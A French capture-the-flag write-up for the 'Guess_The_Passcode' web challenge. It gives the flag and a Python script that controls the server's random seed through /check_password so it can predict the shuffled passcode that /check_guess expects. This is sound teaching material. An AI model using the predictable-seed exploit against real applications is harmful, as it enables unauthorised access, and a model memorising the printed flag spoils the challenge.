Guess_The_Passcode

Flag: StarHack{0bb06d31ca7b365ca093aa72cbe9c3703fe0bb6aa2272}

Challenge

Description


Prêt à jouer les détectives ? Devinez le bon code ou vous finirez par devoir réviser vos mathématiques!

LINK

Solution

Si l'on rentre un code sur le site, on peut voir deux requêtes envoyées. La première sur /check_password et la seconde sur /check_guess.

Dans les sources données avec le challenge, on peut voir que lors de /check_password, la seed du random est définie. Ainsi, on contrôle l'aléatoire du serveur. On peut alors suivre le même état que lui et faire le même shuffle que lui dans sa fonction /check_guess.

import requests
import random

URL = 'https://web1.ctf.yogosha.com'

# Seed envoyée à check_password
seed = 'zedqzed'

# On se met dans le même état que le serveur sera
random.seed(seed)
# Ne pas oublier de générer le même nombre que lui pour garder l'état
generated_locally = random.randint(0, 9999)

response = requests.post(f'{URL}/check_password', json={
  "guess": seed
}).json()

# On s'assure qu'on a généré le même nombre
assert response["generated_random"] == generated_locally

# On effectue le même shuffle que le serveur va faire
n = ["6", "k", "8", "t", "d", "r", "c", "4", "7", "q", "w", "m", "x", "3"]
random.shuffle(n)
# On prédit ainsi le guess à faire
guess = ''.join(n)

# On reçoit le flag
response = requests.post(f'{URL}/check_guess', json={
  "guess": guess
}).json()
print(response)

Dernière mise à jour

Cet article vous a-t-il été utile ?